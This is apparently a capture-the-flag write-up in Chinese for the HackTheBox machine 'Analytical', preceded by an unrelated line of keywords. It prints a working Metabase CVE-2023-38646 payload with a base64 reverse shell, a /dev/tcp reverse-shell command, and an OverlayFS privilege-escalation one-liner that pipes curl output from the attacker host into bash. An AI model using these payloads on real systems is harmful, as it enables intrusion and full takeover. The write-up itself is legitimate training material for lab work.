营销网站一般包括哪些内容,企业工商注册流程,建网站支持设备是什么意思,vue开发视频网站文章目录 信息搜集漏洞利用内核提权 信息搜集
nmap扫描一下端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.233发现两个端口#xff0c;22端口为ssh服务#xff0c;80端口有http服务 尝试访问80端口#xff0c;发现重定向到http://analytical.htb/并且无法访问 编辑/… 文章目录 信息搜集漏洞利用内核提权 信息搜集
nmap扫描一下端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.233发现两个端口22端口为ssh服务80端口有http服务 尝试访问80端口发现重定向到http://analytical.htb/并且无法访问 编辑/etc/hosts添加该域名 成功访问 大概翻了下应该是给客户提供服务的企业网站 尝试点击login发现不行那么扫一下子域名
gobuster vhost -u http://analytical.htb/ -w /usr/share/wordlists/dirb/big.txt --append-domain扫出来后再添加域名到/etc/hosts上访问 得到信息为Metabase Metabase是一个开源的数据分析和可视化工具。它旨在为非技术用户提供一种简单的方式来探索和分析数据无需编写复杂的查询语句或使用复杂的分析工具。Metabase提供了一个直观的用户界面允许用户通过简单的拖放和点击操作来创建和定制数据仪表板、报表和查询。可进行数据库连接 去网上搜索关键词Metabase 登录找到相关漏洞CVE-2023-38646
漏洞利用
poc构造参考 对登陆页面抓包访问路径为/api/session/properties 得到setup-token 然后修改为POST请求访问/api/setup/validate token是刚刚得到的然后记得修改Content-Type为json exp如下
{token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f,details:{is_on_demand: false,is_full_sync: false,is_sample: false,cache_ttl: null,refingerprint: false,auto_run_queries: true,schedules:{},details:{db: zip:/app/metabase.jar!/sample-database.db;MODEMSSQLServer;TRACE_LEVEL_SYSTEM_OUT1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec(bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4xMC4xNC4zNC8xMDI4IDAJjE}|{base64,-d}|{bash,-i})\n$$--x,advanced-options: false,ssl: true},name: an-sec-research-team,engine: h2}
}不过不知道哪里出问题弹不成功curl也不行
另一种方法使用工具直接反弹shell 工具链接
python3 single.py -u http://data.analytical.htb -c bash -c bash -i /dev/tcp/10.10.14.34/1028 01成功反弹shell 我们查看下所有文件
ls / -al发现有docker文件猜测我们处于docker容器中 我们查看下环境变量得到用户和密码
META_USERmetalytics
META_PASSAn4lytics_ds20223#直接ssh连接得到user的flag 这里就卡住了sudo -l也不行
内核提权
参考文章
看了下其他师傅的wp用的是内核提权 相关漏洞是利用CVE-2023-2640 CVE-2023-32629 我用的是curl本地反弹shell的sh文件在本地开启服务
python3 -m http.server 80然后开启监听在刚刚连接的靶机处输入payload
unshare -rm sh -c mkdir l u w m cp /u*/b*/p*3 l/;
setcap cap_setuideip l/python3;mount -t overlay overlay -o rw,lowerdirl,upperdiru,workdirw m touch m/*; u/python3 -c import os;os.setuid(0);os.system(curl 10.10.14.34/shell.sh |bash)成功得到root权限得到flag
